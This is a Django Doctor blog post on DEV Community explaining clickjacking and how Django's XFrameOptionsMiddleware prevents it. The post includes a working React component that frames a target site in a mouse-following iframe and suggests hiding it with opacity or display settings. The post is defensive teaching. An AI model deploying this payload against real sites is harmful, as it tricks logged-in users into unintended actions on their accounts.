DEV Community

loading...
Cover image for Hacking Django websites: clickjacking

Hacking Django websites: clickjacking

djangodoctor profile image Django Doctor Updated on ・2 min read

Clickjacking is an attack where one of your logged-in user visits a malicious website, and that website tricks the user into interacting with your website via an iframe.

Ready for a Django security challenge? Play our Django security challenge.

As an example, see the green "create pull request" button on https://django.doctor - which will create a Pull Request on GitHub as the logged in user:

Alt Text

Let's say the malicious website has some nefarious React:

import React from 'react';


export default function (props) {
  const [position, setPosition] = React.useState({ clientX: 0, clientY: 0 });
  const updatePosition = event => {
    const { pageX, pageY, clientX, clientY } = event;
    setPosition({ clientX, clientY,});
  };

  React.useEffect(() => {
    document.addEventListener("mousemove", updatePosition, false);
    document.addEventListener("mouseenter", updatePosition, false);
    return () => {
      document.removeEventListener("mousemove", updatePosition);
      document.removeEventListener("mouseenter", updatePosition);
    };
  }, []);

  return (
    <>
      <iframe
        style={{zIndex: 100, position: 'absolute', top: position.clientY-200, left: position.clientX-650}}
        src="<path-to-target-website>"
        width="750px"
        height="500px"
      />
      <div>Some website content</div>
    </>
  );
}

Enter fullscreen mode Exit fullscreen mode

When one of https://django.doctor logged in users accesses the malicious website this happens: the iframe follows the mouse so that the button is on the mouse. When the user clicks, they click on the iframe.

Now that is very obvious - the user can see the iframe, but that's one change away: style={{display: 'none', ...}}. For the sake of the demo I used style={{opacity: '0.1', ...}}(otherwise you would see nothing interesting):

Clickjack prevention middleware

The solution is simple: to set iframe embed policy for your website: adding django.middleware.clickjacking.XFrameOptionsMiddleware to settings MIDDLEWARE and X_FRAME_OPTIONS = 'SAMEORIGIN' will result in X-Frame-Options header with value of SAMEORIGIN, and modern browsers will then prevent your website from being embedded on other websites.

Does your website have security vulnerabilities?

Over time it's easy for security vulnerabilities and tech debt to slip into your codebase. I can check that for you at django.doctor, or can review your GitHub PRs:

Alt Text

Or try out Django refactor challenges.

Discussion (0)

pic
Editor guide